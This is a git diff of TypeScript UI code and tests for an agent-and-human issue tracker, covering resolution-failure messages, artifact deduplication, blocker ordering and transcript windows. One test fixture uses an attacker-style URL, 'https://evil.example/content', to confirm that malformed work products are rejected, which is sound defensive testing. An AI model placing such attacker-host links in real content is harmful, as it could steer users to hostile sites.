+    expect(failure.message).toBe("You do not have permission to respond to this card.");
+    expect(failure.message).not.toMatch(/resolver audience/i);
+  });
+
+  it("does not ask for a retry when the card has already moved on", () => {
+    const failure = describeInteractionResolutionFailure(
+      denial(409, "interaction_superseded", "This confirmation was superseded by a newer request"),
+      humanOnlyAudience,
+    );
+
+    expect(failure.kind).toBe("settled");
+    expect(failure.message).toBe("This confirmation was superseded by a newer request.");
+    expect(failure.message).not.toMatch(/try again/i);
+  });
+
+  it("keeps the retry prompt for a genuinely transient failure", () => {
+    expect(
+      describeInteractionResolutionFailure(new ApiError("Request failed: 503", 503, null), humanOnlyAudience),
+    ).toMatchObject({ kind: "transient", message: "Request failed: 503. Try again." });
+  });
+
+  it("falls back to generic copy when nothing explains the failure", () => {
+    expect(describeInteractionResolutionFailure(undefined, null)).toMatchObject({
+      kind: "transient",
+      message: "Couldn't submit. Try again.",
+    });
+  });
+
+  it("leaves punctuation the server already wrote alone", () => {
+    expect(
+      interactionResolutionErrorMessage(denial(403, "interaction_human_only", "Agents cannot resolve this."), null),
+    ).toBe("Agents cannot resolve this.");
+  });
+});
diff --git a/ui/src/lib/interaction-resolution-error.ts b/ui/src/lib/interaction-resolution-error.ts
new file mode 100644
index 00000000000..3babed17d5a
--- /dev/null
+++ b/ui/src/lib/interaction-resolution-error.ts
@@ -0,0 +1,163 @@
+/**
+ * Plain-language copy for a *failed* issue-thread interaction resolution
+ * (PAP-17287).
+ *
+ * The resolution routes deny with a specific reason — human-only, creator
+ * excluded, addressee mismatch, a governed action, an already-resolved card.
+ * Collapsing all of that to `Try again` tells an operator to repeat an action
+ * that will never succeed, so this module keeps the server's explanation and,
+ * for an audience denial, follows it with who *can* respond.
+ *
+ * Presentation only. Authority is the server's: nothing here decides whether an
+ * action is permitted, it only explains the answer the server already gave.
+ */
+
+import type { InteractionAudienceDescription } from "./interaction-audience";
+
+/**
+ * Denials that mean "you are outside this card's resolver audience". Mirrors the
+ * codes the server's audience evaluator can return
+ * (`server/src/services/issue-thread-interaction-resolution.ts`), plus the
+ * scope denial raised before it.
+ */
+export const INTERACTION_AUDIENCE_DENIAL_CODES = [
+  "interaction_human_only",
+  "interaction_creator_excluded",
+  "interaction_addressee_mismatch",
+  "interaction_governed_action_denied",
+  "interaction_run_attribution_required",
+  "interaction_scope_denied",
+] as const;
+
+/**
+ * Denials that are permanent for a different reason: the card moved on. Retrying
+ * cannot help, so these lose the retry prompt too.
+ */
+const INTERACTION_SETTLED_CODES = [
+  "interaction_not_found",
+  "interaction_already_resolved",
+  "interaction_superseded",
+  "interaction_stale_target",
+  "interaction_issue_closed",
+] as const;
+
+export type InteractionResolutionFailureKind = "audience_denied" | "settled" | "transient";
+
+export interface InteractionResolutionFailure {
+  kind: InteractionResolutionFailureKind;
+  /** Copy for the inline error region. Never invites a retry that cannot work. */
+  message: string;
+  /** Server-provided denial code, when the response carried one. */
+  code: string | null;
+}
+
+function record(value: unknown): Record<string, unknown> | null {
+  return value && typeof value === "object" && !Array.isArray(value)
+    ? value as Record<string, unknown>
+    : null;
+}
+
+/** The server's `code`, from either the top-level field or the details object. */
+export function interactionResolutionErrorCode(error: unknown): string | null {
+  const body = record(record(error)?.body);
+  if (!body) return null;
+  if (typeof body.code === "string" && body.code) return body.code;
+  const details = record(body.details);
+  return typeof details?.code === "string" && details.code ? details.code : null;
+}
+
+function errorStatus(error: unknown): number | null {
+  const status = record(error)?.status;
+  return typeof status === "number" ? status : null;
+}
+
+/** The server's human-readable reason, preserved verbatim apart from punctuation. */
+function serverReason(error: unknown): string | null {
+  const body = record(record(error)?.body);
+  const fromBody = typeof body?.error === "string" ? body.error.trim() : "";
+  const fromError = error instanceof Error ? error.message.trim() : "";
+  const reason = fromBody || fromError;
+  if (!reason) return null;
+  // The API writes reasons as bare clauses ("This interaction is human-only").
+  return /[.!?]$/.test(reason) ? reason : `${reason}.`;
+}
+
+export function isInteractionAudienceDenial(error: unknown): boolean {
+  const code = interactionResolutionErrorCode(error);
+  if (code) return (INTERACTION_AUDIENCE_DENIAL_CODES as readonly string[]).includes(code);
+  // A 403 with no code is still an authorization refusal, not a hiccup.
+  return errorStatus(error) === 403;
+}
+
+/** The audience of the card being resolved, as far as this client knows it. */
+export type InteractionResolutionAudience = Pick<
+  InteractionAudienceDescription,
+  "shortSummary" | "isOpen"
+>;
+
+/**
+ * Classify a rejected resolution and produce the copy to show inline.
+ *
+ * `audience` is the effective audience of the card being resolved; when the
+ * failure is an audience denial *and* that audience is narrower than the open
+ * default, its short form is appended so the reader learns who can respond
+ * instead of being told to retry.
+ */
+export function describeInteractionResolutionFailure(
+  error: unknown,
+  audience?: InteractionResolutionAudience | null,
+): InteractionResolutionFailure {
+  const code = interactionResolutionErrorCode(error);
+  const reason = serverReason(error);
+
+  if (isInteractionAudienceDenial(error)) {
+    // Only a *narrowed* audience has a responder worth naming. Appending the
+    // open-default clause to a refusal produces copy that refutes itself —
+    // "You are not in this card's resolver audience. Anyone can respond." —
+    // which happens whenever the snapshot the client holds is wider than the
+    // policy the server just enforced (PAP-17289).
+    const responder = audience && !audience.isOpen && audience.shortSummary
+      ? `${audience.shortSummary}.`
+      : null;
+    // Without a code the server has told us only that this is forbidden, not
+    // *why*. Restate the status; do not invent a resolver-audience cause it
+    // never claimed.
+    const coded = code !== null
+      && (INTERACTION_AUDIENCE_DENIAL_CODES as readonly string[]).includes(code);
+    return {
+      kind: "audience_denied",
+      code,
+      message: [
+        reason
+          ?? (coded
+            ? "You are not in this card's resolver audience."
+            : "You do not have permission to respond to this card."),
+        responder,
+      ]
+        .filter(Boolean)
+        .join(" "),
+    };
+  }
+
+  if (code && (INTERACTION_SETTLED_CODES as readonly string[]).includes(code)) {
+    return {
+      kind: "settled",
+      code,
+      message: reason ?? "This request is no longer waiting for a decision.",
+    };
+  }
+
+  return {
+    kind: "transient",
+    code,
+    message: reason ? `${reason} Try again.` : "Couldn't submit. Try again.",
+  };
+}
+
+/** Convenience for the many call sites that only need the sentence. */
+export function interactionResolutionErrorMessage(
+  error: unknown,
+  audience?: InteractionResolutionAudience | null,
+): string {
+  return describeInteractionResolutionFailure(error, audience).message;
+}
diff --git a/ui/src/lib/issue-artifacts.test.ts b/ui/src/lib/issue-artifacts.test.ts
index 026cff47399..42dc6d3ee8b 100644
--- a/ui/src/lib/issue-artifacts.test.ts
+++ b/ui/src/lib/issue-artifacts.test.ts
@@ -2,6 +2,7 @@ import { describe, expect, it } from "vitest";
 import type { IssueAttachment, IssueWorkProduct } from "@paperclipai/shared";
 import {
   documentDisplayTitle,
+  getAttachmentBackedWorkProductAttachmentIds,
   isAgentAttachment,
   selectAgentArtifactAttachments,
   workProductHref,
@@ -112,6 +113,54 @@ describe("selectAgentArtifactAttachments", () => {
   it("tolerates missing inputs", () => {
     expect(selectAgentArtifactAttachments(null, null)).toEqual([]);
   });
+
+  it("dedupes markdown attachments promoted to work products", () => {
+    // Markdown is excluded from the binary Output surface, so this dedupe must
+    // not depend on getPromotedOutputAttachmentIds (LOOA-1533 duplicate rows).
+    const promotedId = "00000000-0000-4000-8000-000000000002";
+    const promoted = makeAttachment({
+      id: promotedId,
+      createdByAgentId: "agent-1",
+      contentType: "text/markdown",
+      originalFilename: "report.md",
+    });
+    const workProduct = makePromotingWorkProduct(promotedId);
+    workProduct.metadata = {
+      ...(workProduct.metadata as Record<string, unknown>),
+      contentType: "text/markdown",
+      originalFilename: "report.md",
+    };
+    expect(selectAgentArtifactAttachments([promoted], [workProduct])).toEqual([]);
+  });
+});
+
+describe("getAttachmentBackedWorkProductAttachmentIds", () => {
+  it("collects attachment ids across content types", () => {
+    const imageId = "00000000-0000-4000-8000-000000000001";
+    const markdownId = "00000000-0000-4000-8000-000000000002";
+    const markdownWorkProduct = makePromotingWorkProduct(markdownId);
+    markdownWorkProduct.metadata = {
+      ...(markdownWorkProduct.metadata as Record<string, unknown>),
+      contentType: "text/markdown",
+      originalFilename: "report.md",
+    };
+    const ids = getAttachmentBackedWorkProductAttachmentIds([
+      makePromotingWorkProduct(imageId),
+      markdownWorkProduct,
+    ]);
+    expect(ids).toEqual(new Set([imageId, markdownId]));
+  });
+
+  it("ignores non-canonical or non-paperclip work products", () => {
+    const attachmentId = "00000000-0000-4000-8000-000000000003";
+    const foreign = { ...makePromotingWorkProduct(attachmentId), provider: "github" };
+    const invalid = {
+      ...makePromotingWorkProduct(attachmentId),
+      metadata: { attachmentId, openPath: "https://evil.example/content" },
+    };
+    expect(getAttachmentBackedWorkProductAttachmentIds([foreign, invalid])).toEqual(new Set());
+    expect(getAttachmentBackedWorkProductAttachmentIds(null)).toEqual(new Set());
+  });
 });
 
 describe("workProductHref", () => {
diff --git a/ui/src/lib/issue-artifacts.ts b/ui/src/lib/issue-artifacts.ts
index 7563638c499..f3f3d8a6d1f 100644
--- a/ui/src/lib/issue-artifacts.ts
+++ b/ui/src/lib/issue-artifacts.ts
@@ -1,5 +1,5 @@
 import type { IssueAttachment, IssueDocumentSummary, IssueWorkProduct } from "@paperclipai/shared";
-import { getPromotedOutputAttachmentIds } from "./issue-output";
+import { getAttachmentArtifactWorkProductMetadata } from "@paperclipai/shared";
 
 /**
  * Selectors for the properties pane's Artifacts tab (PAP-491): which
@@ -19,6 +19,23 @@ export function isAgentAttachment(
   return !attachment.createdByUserId && !attachment.issueCommentId;
 }
 
+/**
+ * Attachment ids owned by valid attachment-backed Paperclip work products.
+ * Unlike `getPromotedOutputAttachmentIds`, this includes document-like content
+ * types (e.g. Markdown) that the binary Output surface intentionally excludes,
+ * so it is the right dedupe set for the Artifacts tab's Files section.
+ */
+export function getAttachmentBackedWorkProductAttachmentIds(
+  workProducts: IssueWorkProduct[] | null | undefined,
+): Set<string> {
+  const ids = new Set<string>();
+  for (const workProduct of workProducts ?? []) {
+    const metadata = getAttachmentArtifactWorkProductMetadata(workProduct);
+    if (metadata) ids.add(metadata.attachmentId);
+  }
+  return ids;
+}
+
 /**
  * Agent-authored attachments minus the ones already promoted to
  * attachment-backed work products (`metadata.attachmentId`), so the Artifacts
@@ -28,7 +45,7 @@ export function selectAgentArtifactAttachments(
   attachments: IssueAttachment[] | null | undefined,
   workProducts: IssueWorkProduct[] | null | undefined,
 ): IssueAttachment[] {
-  const promoted = getPromotedOutputAttachmentIds(workProducts);
+  const promoted = getAttachmentBackedWorkProductAttachmentIds(workProducts);
   return (attachments ?? []).filter(
     (attachment) => isAgentAttachment(attachment) && !promoted.has(attachment.id),
   );
diff --git a/ui/src/lib/issue-attachments.ts b/ui/src/lib/issue-attachments.ts
index a7725275221..3f2b4167a50 100644
--- a/ui/src/lib/issue-attachments.ts
+++ b/ui/src/lib/issue-attachments.ts
@@ -1,12 +1,7 @@
 import type { IssueAttachment } from "@paperclipai/shared";
+import { isMarkdownAttachmentContent } from "@paperclipai/shared";
 import { isVideoLikeOutput } from "./issue-output";
 
-const GENERIC_ATTACHMENT_CONTENT_TYPES = new Set([
-  "application/octet-stream",
-  "binary/octet-stream",
-  "application/x-binary",
-]);
-
 type AttachmentPathLike = {
   contentPath: string;
   openPath?: string;
@@ -42,17 +37,5 @@ export function isVideoAttachment(
 export function isMarkdownAttachment(
   attachment: Pick<IssueAttachment, "contentType" | "originalFilename">,
 ) {
-  const contentType = normalizedContentType(attachment);
-  if (
-    contentType === "text/markdown" ||
-    contentType === "text/x-markdown" ||
-    contentType === "application/markdown" ||
-    contentType === "application/x-markdown"
-  ) {
-    return true;
-  }
-
-  const filename = (attachment.originalFilename ?? "").toLowerCase();
-  if (!filename.endsWith(".md") && !filename.endsWith(".markdown")) return false;
-  return contentType === "text/plain" || GENERIC_ATTACHMENT_CONTENT_TYPES.has(contentType);
+  return isMarkdownAttachmentContent(attachment);
 }
diff --git a/ui/src/lib/issue-blockers.ts b/ui/src/lib/issue-blockers.ts
index 569c557f39e..1ba09676e05 100644
--- a/ui/src/lib/issue-blockers.ts
+++ b/ui/src/lib/issue-blockers.ts
@@ -1,5 +1,49 @@
 import type { IssueRelationIssueSummary } from "@paperclipai/shared";
 
+export type WaitingBlockerStatus = "done" | "running" | "queued";
+
+export interface WaitingBlockerStep {
+  blocker: IssueRelationIssueSummary;
+  status: WaitingBlockerStatus;
+}
+
+export function classifyWaitingBlocker(
+  blocker: IssueRelationIssueSummary,
+  liveIssueIds: ReadonlySet<string>,
+): WaitingBlockerStatus {
+  if (blocker.status === "done" || blocker.status === "cancelled") return "done";
+  if (liveIssueIds.has(blocker.id)) return "running";
+  return "queued";
+}
+
+const WAITING_BLOCKER_RANK: Record<WaitingBlockerStatus, number> = {
+  done: 0,
+  running: 1,
+  queued: 2,
+};
+
+/**
+ * Orders the explicit blocker queue the same way in every task surface.
+ *
+ * The blocker payload does not carry an explicit sequence. Status gives the
+ * operational order (completed work, current work, queued work), while the
+ * identifier is the stable tie-break used by plan-generated task chains.
+ */
+export function orderWaitingBlockers(
+  blockers: IssueRelationIssueSummary[],
+  liveIssueIds: ReadonlySet<string>,
+): WaitingBlockerStep[] {
+  return blockers
+    .map((blocker) => ({ blocker, status: classifyWaitingBlocker(blocker, liveIssueIds) }))
+    .sort((a, b) => {
+      const rank = WAITING_BLOCKER_RANK[a.status] - WAITING_BLOCKER_RANK[b.status];
+      if (rank !== 0) return rank;
+      const aKey = a.blocker.identifier ?? a.blocker.id;
+      const bKey = b.blocker.identifier ?? b.blocker.id;
+      return aKey.localeCompare(bKey, undefined, { numeric: true });
+    });
+}
+
 export function isAssignedBacklogBlocker(blocker: IssueRelationIssueSummary): boolean {
   return blocker.status === "backlog" && Boolean(blocker.assigneeAgentId);
 }
diff --git a/ui/src/lib/issue-change-receipt.test.ts b/ui/src/lib/issue-change-receipt.test.ts
index b7d43c447a5..af4b4c95610 100644
--- a/ui/src/lib/issue-change-receipt.test.ts
+++ b/ui/src/lib/issue-change-receipt.test.ts
@@ -12,6 +12,7 @@ describe("issueChangeFieldLabel", () => {
     expect(issueChangeFieldLabel("assigneeAgentId")).toBe("Assignee");
     expect(issueChangeFieldLabel("blockedByIssueIds")).toBe("Blockers");
     expect(issueChangeFieldLabel("workMode")).toBe("Work mode");
+    expect(issueChangeFieldLabel("reviewPolicy")).toBe("Who can approve");
   });
 
   it("humanizes unknown camelCase and snake_case fields", () => {
@@ -35,6 +36,14 @@ describe("formatIssueChangeValue", () => {
     expect(formatIssueChangeValue("high")).toBe("high");
   });
 
+  // A cleared `reviewPolicy` means "anyone can approve" (PAP-16506), so the
+  // receipt must not report the default as an absent value.
+  it("reads a cleared review policy as 'anyone', not 'none'", () => {
+    expect(formatIssueChangeValue(null, { field: "reviewPolicy" })).toBe("anyone");
+    expect(formatIssueChangeValue("human_only", { field: "reviewPolicy" })).toBe("human only");
+    expect(formatIssueChangeValue("not_creator", { field: "reviewPolicy" })).toBe("anyone else");
+  });
+
   it("renders booleans and numbers plainly", () => {
     expect(formatIssueChangeValue(true)).toBe("yes");
     expect(formatIssueChangeValue(false)).toBe("no");
diff --git a/ui/src/lib/issue-change-receipt.ts b/ui/src/lib/issue-change-receipt.ts
index 7f58a2c2315..f5f5a086232 100644
--- a/ui/src/lib/issue-change-receipt.ts
+++ b/ui/src/lib/issue-change-receipt.ts
@@ -1,4 +1,5 @@
 import type { IssueChangeReceiptEntry } from "@paperclipai/shared";
+import { formatReviewPolicyValue } from "./review-policy";
 
 /**
  * Read + format the field-level change receipts carried on an `issue.updated`
@@ -25,6 +26,7 @@ const FIELD_LABELS: Record<string, string> = {
   projectId: "Project",
   goalId: "Goal",
   workMode: "Work mode",
+  reviewPolicy: "Who can approve",
   billingCode: "Billing code",
   checkoutRunId: "Checkout run",
   executionRunId: "Execution run",
@@ -64,6 +66,9 @@ export function formatIssueChangeValue(
     resolveUserLabel?: (id: string) => string | null | undefined;
     field?: string } = {},
 ): string {
+  // `reviewPolicy` is nullable-by-default: a cleared column means "anyone can
+  // approve", not "no value" (PAP-16506), so it resolves before the null branch.
+  if (options.field === "reviewPolicy") return formatReviewPolicyValue(value);
   if (value === null || value === undefined || value === "") return "none";
   if (typeof value === "boolean") return value ? "yes" : "no";
   if (typeof value === "number") return String(value);
diff --git a/ui/src/lib/issue-chat-messages.test.ts b/ui/src/lib/issue-chat-messages.test.ts
index 88d3187c2b0..68fa9c2c90d 100644
--- a/ui/src/lib/issue-chat-messages.test.ts
+++ b/ui/src/lib/issue-chat-messages.test.ts
@@ -17,6 +17,7 @@ import type {
 } from "./issue-thread-interactions";
 import type { IssueTimelineEvent } from "./issue-timeline-events";
 import type { ActiveRunForIssue, LiveRunForIssue } from "../api/heartbeats";
+import { registerUIAdapter, unregisterUIAdapter } from "../adapters/registry";
 
 function createAgent(id: string, name: string): Agent {
   return {
@@ -94,9 +95,13 @@ function createInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    resolverPolicy: overrides.resolverPolicy ?? "anyone",
+    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "anyone",
+    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "anyone",
+    resolverPolicyProvenance: overrides.resolverPolicyProvenance ?? "inherited",
+    effectiveResolverPolicySource: overrides.effectiveResolverPolicySource ?? "requested",
+    legacyResolverPolicyAliases: overrides.legacyResolverPolicyAliases
+      ?? { requested: "board_or_agents", effective: "board_or_agents" },
   };
 }
 
@@ -125,9 +130,13 @@ function createRequestConfirmation(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    resolverPolicy: overrides.resolverPolicy ?? "anyone",
+    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "anyone",
+    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "anyone",
+    resolverPolicyProvenance: overrides.resolverPolicyProvenance ?? "inherited",
+    effectiveResolverPolicySource: overrides.effectiveResolverPolicySource ?? "requested",
+    legacyResolverPolicyAliases: overrides.legacyResolverPolicyAliases
+      ?? { requested: "board_or_agents", effective: "board_or_agents" },
   };
 }
 
@@ -742,9 +751,12 @@ describe("buildIssueChatMessages", () => {
         createdAt: new Date("2026-04-06T12:02:00.000Z"),
         updatedAt: new Date("2026-04-06T12:02:00.000Z"),
         resolvedAt: null,
-        resolverPolicy: "board_only",
-        requestedResolverPolicy: "board_only",
-        effectiveResolverPolicy: "board_only",
+        resolverPolicy: "anyone",
+        requestedResolverPolicy: "anyone",
+        effectiveResolverPolicy: "anyone",
+        resolverPolicyProvenance: "inherited",
+        effectiveResolverPolicySource: "requested",
+        legacyResolverPolicyAliases: { requested: "board_or_agents", effective: "board_or_agents" },
         payload: { version: 1, questions },
         result: null,
       } as AskUserQuestionsInteraction;
@@ -801,7 +813,7 @@ describe("buildIssueChatMessages", () => {
       agentId: "agent-1",
       agentName: "CodexCoder",
       adapterType: "codex_local",
-      currentStatusMessage: "Syncing git worktree to sandbox",
+      currentStatusMessage: "Syncing git worktree to environment",
       currentStatusUpdatedAt: "2026-04-06T12:03:05.000Z",
       currentToolName: "bash",
       lastAssistantSnippet: "Checking repository status",
@@ -825,7 +837,7 @@ describe("buildIssueChatMessages", () => {
         custom: {
           kind: "live-run",
           runId: "run-active-1",
-          currentStatusMessage: "Syncing git worktree to sandbox",
+          currentStatusMessage: "Syncing git worktree to environment",
           currentStatusUpdatedAt: "2026-04-06T12:03:05.000Z",
           currentToolName: "bash",
           lastAssistantSnippet: "Checking repository status",
@@ -1072,6 +1084,86 @@ describe("buildIssueChatMessages", () => {
     }));
   });
 
+  it("honors a wider transcript window declared by an adapter's UI module", () => {
+    // Capability path: an adapter (built-in or plugin) declares
+    // transcriptPresentation on its UI module; shared code resolves it via the
+    // registry with no adapter identities. The test registers a synthetic
+    // verbose adapter — the test right above pins the default 30-entry window
+    // for adapters that declare nothing.
+    registerUIAdapter({
+      type: "verbose_test_local",
+      label: "Verbose Test",
+      parseStdoutLine: () => [],
+      ConfigFields: () => null,
+      buildAdapterConfig: () => ({}),
+      transcriptPresentation: { maxVisibleEntries: 400, liveReasoningView: "scrollLog" },
+    });
+
+    try {
+      const isoAt = (baseMs: number, offsetSeconds: number) =>
+        new Date(baseMs + offsetSeconds * 1000).toISOString();
+      const baseMs = Date.parse("2026-04-06T12:00:00.000Z");
+      // 90 renderable entries: over the default 30-entry window, under the
+      // declared 400-entry window, so nothing is trimmed.
+      const transcript = [
+        ...Array.from({ length: 9 }, (_, index) => ({
+          kind: "assistant" as const,
+          ts: isoAt(baseMs, index),
+          text: `Older update ${index + 1}`,
+        })),
+        {
+          kind: "tool_call" as const,
+          ts: isoAt(baseMs, 9),
+          name: "search",
+          toolUseId: "tool-keep",
+          input: { query: "issue chat virtualization" },
+        },
+        ...Array.from({ length: 79 }, (_, index) => ({
+          kind: "assistant" as const,
+          ts: isoAt(baseMs, 10 + index),
+          text: `Recent update ${index + 1}`,
+        })),
+        {
+          kind: "tool_result" as const,
+          ts: isoAt(baseMs, 89),
+          toolUseId: "tool-keep",
+          content: "search completed",
+          isError: false,
+        },
+      ];
+
+      const messages = buildIssueChatMessages({
+        comments: [],
+        timelineEvents: [],
+        linkedRuns: [
+          {
+            runId: "run-history-verbose",
+            status: "succeeded",
+            agentId: "agent-1",
+            agentName: "VerboseCoder",
+            adapterType: "verbose_test_local",
+            createdAt: new Date("2026-04-06T12:00:00.000Z"),
+            startedAt: new Date("2026-04-06T12:00:00.000Z"),
+            finishedAt: new Date("2026-04-06T12:03:00.000Z"),
+          },
+        ],
+        liveRuns: [],
+        transcriptsByRunId: new Map([["run-history-verbose", transcript]]),
+        hasOutputForRun: (runId) => runId === "run-history-verbose",
+        currentUserId: "user-1",
+      });
+
+      expect(messages).toHaveLength(1);
+      const textParts = messages[0]?.content
+        .filter((part): part is { type: "text"; text: string } => part.type === "text")
+        .map((part) => part.text) ?? [];
+      expect(textParts.join("\n")).toContain("Older update 1");
+      expect(textParts.join("\n")).toContain("Recent update 79");
+    } finally {
+      unregisterUIAdapter("verbose_test_local");
+    }
+  });
+
   it("keeps the same assistant message id when a live run becomes a cancelled historical run", () => {
     const liveMessages = buildIssueChatMessages({
       comments: [],
diff --git a/ui/src/lib/issue-chat-messages.ts b/ui/src/lib/issue-chat-messages.ts
index f1aec74fe0e..8187c5a455c 100644
--- a/ui/src/lib/issue-chat-messages.ts
+++ b/ui/src/lib/issue-chat-messages.ts
@@ -18,6 +18,7 @@ import {
 } from "./issue-thread-interactions";
 import type { IssueTimelineEvent } from "./issue-timeline-events";
 import { isLiveIssueRun } from "./liveIssueIds";
+import { findUIAdapter } from "../adapters/registry";
 import {
   summarizeNotice,
 } from "./transcriptPresentation";
@@ -87,6 +88,19 @@ export interface IssueChatTranscriptEntry {
 
 const ISSUE_CHAT_TRANSCRIPT_MAX_VISIBLE_ENTRIES = 30;
 
+// Adapters whose backends stream verbosely can declare a wider window via
+// their UI adapter module (transcriptPresentation.maxVisibleEntries); every
+// adapter without a declaration keeps the long-standing 30-entry window.
+// Resolved through the registry so shared code never branches on adapter
+// identities.
+function issueChatTranscriptMaxVisibleEntries(adapterType: string | null | undefined): number {
+  if (!adapterType) return ISSUE_CHAT_TRANSCRIPT_MAX_VISIBLE_ENTRIES;
+  return (
+    findUIAdapter(adapterType)?.transcriptPresentation?.maxVisibleEntries ??
+    ISSUE_CHAT_TRANSCRIPT_MAX_VISIBLE_ENTRIES
+  );
+}
+
 type MessageWithOrder = {
   createdAtMs: number;
   order: number;
@@ -789,7 +803,7 @@ function createHistoricalTranscriptMessage(args: {
 }) {
   const { run, transcript, hasOutput, agentMap } = args;
   const agentName = run.agentName ?? agentMap?.get(run.agentId)?.name ?? run.agentId.slice(0, 8);
-  const compactedTranscript = compactIssueChatTranscript(transcript);
+  const compactedTranscript = compactIssueChatTranscript(transcript, issueChatTranscriptMaxVisibleEntries(run.adapterType));
   const { parts, notices, segments } = buildAssistantPartsFromTranscript(compactedTranscript);
   const waitingText = hasOutput ? "" : "Run finished";
   const content = parts.length > 0
@@ -1006,7 +1020,7 @@ function createLiveRunMessage(args: {
   transcript: readonly IssueChatTranscriptEntry[];
 }) {
   const { run, transcript } = args;
-  const compactedTranscript = compactIssueChatTranscript(transcript);
+  const compactedTranscript = compactIssueChatTranscript(transcript, issueChatTranscriptMaxVisibleEntries(run.adapterType));
   const { parts, notices, segments } = buildAssistantPartsFromTranscript(compactedTranscript);
   const waitingText =
     run.status === "queued"
diff --git a/ui/src/lib/issue-document-deep-link.test.ts b/ui/src/lib/issue-document-deep-link.test.ts
new file mode 100644
index 00000000000..f7f2a53dfd8
--- /dev/null
+++ b/ui/src/lib/issue-document-deep-link.test.ts
@@ -0,0 +1,32 @@
+import { describe, expect, it } from "vitest";
+import { resolveIssueDocumentDeepLink } from "./issue-document-deep-link";
+
+describe("resolveIssueDocumentDeepLink", () => {
+  it("preserves continuation-summary routing", () => {
+    expect(resolveIssueDocumentDeepLink("#document-continuation-summary")).toEqual({
+      kind: "continuation-summary",
+    });
+  });
+
+  it("routes plan to its dedicated pane tab", () => {
+    expect(resolveIssueDocumentDeepLink("#document-plan")).toEqual({
+      kind: "properties-pane",
+      tab: "plans",
+      documentKey: "plan",
+    });
+  });
+
+  it("routes ordinary and annotated documents to Artifacts", () => {
+    expect(resolveIssueDocumentDeepLink("#document-qa%20evidence&thread=thread-1")).toEqual({
+      kind: "properties-pane",
+      tab: "artifacts",
+      documentKey: "qa evidence",
+    });
+  });
+
+  it("ignores empty, unrelated, and malformed hashes", () => {
+    expect(resolveIssueDocumentDeepLink("#document-")).toBeNull();
+    expect(resolveIssueDocumentDeepLink("#work-product-1")).toBeNull();
+    expect(resolveIssueDocumentDeepLink("#document-%E0%A4%A")).toBeNull();
+  });
+});
diff --git a/ui/src/lib/issue-document-deep-link.ts b/ui/src/lib/issue-document-deep-link.ts
new file mode 100644
index 00000000000..558f99a69eb
--- /dev/null
+++ b/ui/src/lib/issue-document-deep-link.ts
@@ -0,0 +1,26 @@
+import { ISSUE_CONTINUATION_SUMMARY_DOCUMENT_KEY } from "@paperclipai/shared";
+import { parseDocumentAnnotationHash } from "./document-annotation-hash";
+
+export type IssueDocumentDeepLinkRoute =
+  | { kind: "continuation-summary" }
+  | { kind: "properties-pane"; tab: "plans"; documentKey: "plan" }
+  | { kind: "properties-pane"; tab: "artifacts"; documentKey: string };
+
+/**
+ * Maps an issue document hash to the surface that owns that document.
+ *
+ * The continuation summary remains in the activity/handoff surface, the plan
+ * keeps its dedicated pane tab, and every other document belongs to Artifacts.
+ */
+export function resolveIssueDocumentDeepLink(hash: string): IssueDocumentDeepLinkRoute | null {
+  const target = parseDocumentAnnotationHash(hash);
+  if (!target) return null;
+
+  if (target.documentKey === ISSUE_CONTINUATION_SUMMARY_DOCUMENT_KEY) {
+    return { kind: "continuation-summary" };
+  }
+  if (target.documentKey === "plan") {
+    return { kind: "properties-pane", tab: "plans", documentKey: "plan" };
+  }
+  return { kind: "properties-pane", tab: "artifacts", documentKey: target.documentKey };
+}
diff --git a/ui/src/lib/issue-thread-interactions.test.ts b/ui/src/lib/issue-thread-interactions.test.ts
index 68c559e882e..536a34b6aac 100644
--- a/ui/src/lib/issue-thread-interactions.test.ts
+++ b/ui/src/lib/issue-thread-interactions.test.ts
@@ -20,10 +20,15 @@ import type {
   RequestItemVerdictsInteraction,
 } from "./issue-thread-interactions";
 
+// The open default every interaction now inherits when its creator omits
+// `resolverPolicy` (PAP-17277 contract).
 const resolverPolicyFields = {
-  resolverPolicy: "board_only",
-  requestedResolverPolicy: "board_only",
-  effectiveResolverPolicy: "board_only",
+  resolverPolicy: "anyone",
+  requestedResolverPolicy: "anyone",
+  effectiveResolverPolicy: "anyone",
+  resolverPolicyProvenance: "inherited",
+  effectiveResolverPolicySource: "requested",
+  legacyResolverPolicyAliases: { requested: "board_or_agents", effective: "board_or_agents" },
 } as const;
 
 describe("buildSuggestedTaskTree", () => {
diff --git a/ui/src/lib/issue-thread-interactions.ts b/ui/src/lib/issue-thread-interactions.ts
index 695b7c3aac0..3d673fb2054 100644
--- a/ui/src/lib/issue-thread-interactions.ts
+++ b/ui/src/lib/issue-thread-interactions.ts
@@ -18,6 +18,8 @@ export type {
   RequestConfirmationIssueDocumentTarget,
   RequestConfirmationPayload,
   RequestConfirmationResult,
+  RequestConfirmationSecretProposalPayload,
+  RequestConfirmationSecretProposalResult,
   RequestConfirmationTarget,
   RequestConfirmationToolActionPayload,
   RequestConfirmationToolActionResult,
diff --git a/ui/src/lib/managed-sandbox-environment.test.ts b/ui/src/lib/managed-sandbox-environment.test.ts
index d5ea54f1d91..6de63daa969 100644
--- a/ui/src/lib/managed-sandbox-environment.test.ts
+++ b/ui/src/lib/managed-sandbox-environment.test.ts
@@ -1,5 +1,6 @@
 import { describe, expect, it } from "vitest";
 import {
+  environmentDisplayLabel,
   filterManagedSandboxSelectableEnvironments,
   isPlatformManagedEnvironment,
 } from "./managed-sandbox-environment";
@@ -13,6 +14,22 @@ describe("managed sandbox environment helpers", () => {
     expect(isPlatformManagedEnvironment(null)).toBe(false);
   });
 
+  it("labels platform-managed rows by name alone and keeps the driver suffix elsewhere", () => {
+    expect(
+      environmentDisplayLabel({
+        name: "Paperclip Computer",
+        driver: "sandbox",
+        metadata: { managedByPaperclip: true },
+      }),
+    ).toBe("Paperclip Computer");
+    expect(
+      environmentDisplayLabel({ name: "E2B", driver: "sandbox", metadata: null }),
+    ).toBe("E2B · sandbox");
+    expect(
